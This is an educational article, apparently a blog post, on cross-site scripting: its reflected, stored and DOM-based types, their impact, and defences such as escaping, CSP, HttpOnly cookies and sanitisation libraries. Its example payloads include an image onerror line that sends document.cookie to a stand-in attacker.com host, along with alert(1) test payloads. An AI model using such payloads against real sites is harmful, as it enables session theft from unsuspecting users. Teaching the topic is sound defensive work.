XSS (Cross-Site Scripting): How Companies Get Compromised Through Frontend Flaws

What Is XSS?

XSS occurs when an application renders user-controlled data without proper escaping or sanitization.

This allows JavaScript code to be executed directly in the victim's browser.

In practice, the browser interprets the injected payload as a legitimate part of the application.

The Problem Goes Far Beyond alert(1)

During security testing, the alert(1) payload is normally used only as a proof of concept.

The real impact usually involves:

• Theft of authenticated sessions
• Actions performed on behalf of the victim
• Capture of JWT tokens
• Partial MFA bypass
• Phishing inside the application itself
• Compromise of admin panels

A Real-World Example Found in Applications

An extremely common scenario involves comment features, chats, tickets, or profile fields.

<div class="comment">
    {{ userComment }}
</div>

If the application renders content without proper escaping, an attacker can inject:

<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
    

When another user views the page, the browser will automatically execute the payload.

The Main Types of XSS

1. Reflected XSS

The payload is sent in the request and immediately reflected back by the application.

Common example

https://site.com/search?q=<script>alert(1)</script>
    

This type usually relies on social engineering, phishing, or sending malicious links.

2. Stored XSS

The payload is permanently stored by the application.

This is one of the most dangerous scenarios, because any user who opens the vulnerable page will automatically execute the payload.

Common locations

• Comments
• Chats
• Ticketing systems
• User profiles
• Admin panels

3. DOM-Based XSS

In this case, the vulnerability exists entirely in the frontend.

const name = location.hash.substring(1);

document.getElementById('output').innerHTML = name;
    

An attacker can exploit it with:

https://site.com/#<img src=x onerror=alert(1)>
    

DOM XSS is extremely common in modern SPA applications.

Real-World Impact of XSS

• Cookie theft
• Session hijacking
• Execution of administrative actions
• Exposure of JWT tokens
• Credential capture
• Internal pivoting
• Advanced phishing
• Persistence inside the application

Why Do Modern Applications Remain Vulnerable?

Even modern frameworks still carry risk when used incorrectly.

Frequently found problems

• Unsafe use of innerHTML
• Use of dangerouslySetInnerHTML in React
• Rendering of unsafe markdown
• Partial sanitization
• Over-reliance on the frontend
• Vulnerable libraries

How to Prevent XSS Properly

1. Output Escaping

The primary defense against XSS is still proper context-aware escaping.

element.innerHTML = userInput;
        

element.textContent = userInput;
        

2. Avoid innerHTML Whenever Possible

A large share of the DOM XSS found in modern applications involves unsafe use of innerHTML.

3. Implement CSP (Content Security Policy)

CSP significantly reduces the impact of XSS.

Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
    

CSP does not replace sanitization, but it adds an extremely important layer of protection.

4. HttpOnly Cookies

HttpOnly cookies help reduce session theft via JavaScript.

Set-Cookie:
session=abc123;
HttpOnly;
Secure;
SameSite=Strict
    

5. HTML Sanitization

When user-controlled HTML is genuinely required, use trusted sanitization libraries.

• DOMPurify
• sanitize-html
• OWASP Java HTML Sanitizer

Tools Used for XSS Testing

• Burp Suite Professional
• OWASP ZAP
• XSStrike
• Dalfox
• Caido

XSS Protection Checklist

Conclusion

XSS remains extremely prevalent in modern applications, especially in complex systems, SPA applications, admin panels, and SaaS platforms.

In many cases, the problem is not a total absence of protection, but rather small insecure spots scattered across the application.

Protecting against XSS requires continuous validation, code review, and a deep understanding of how the frontend handles user-controlled data.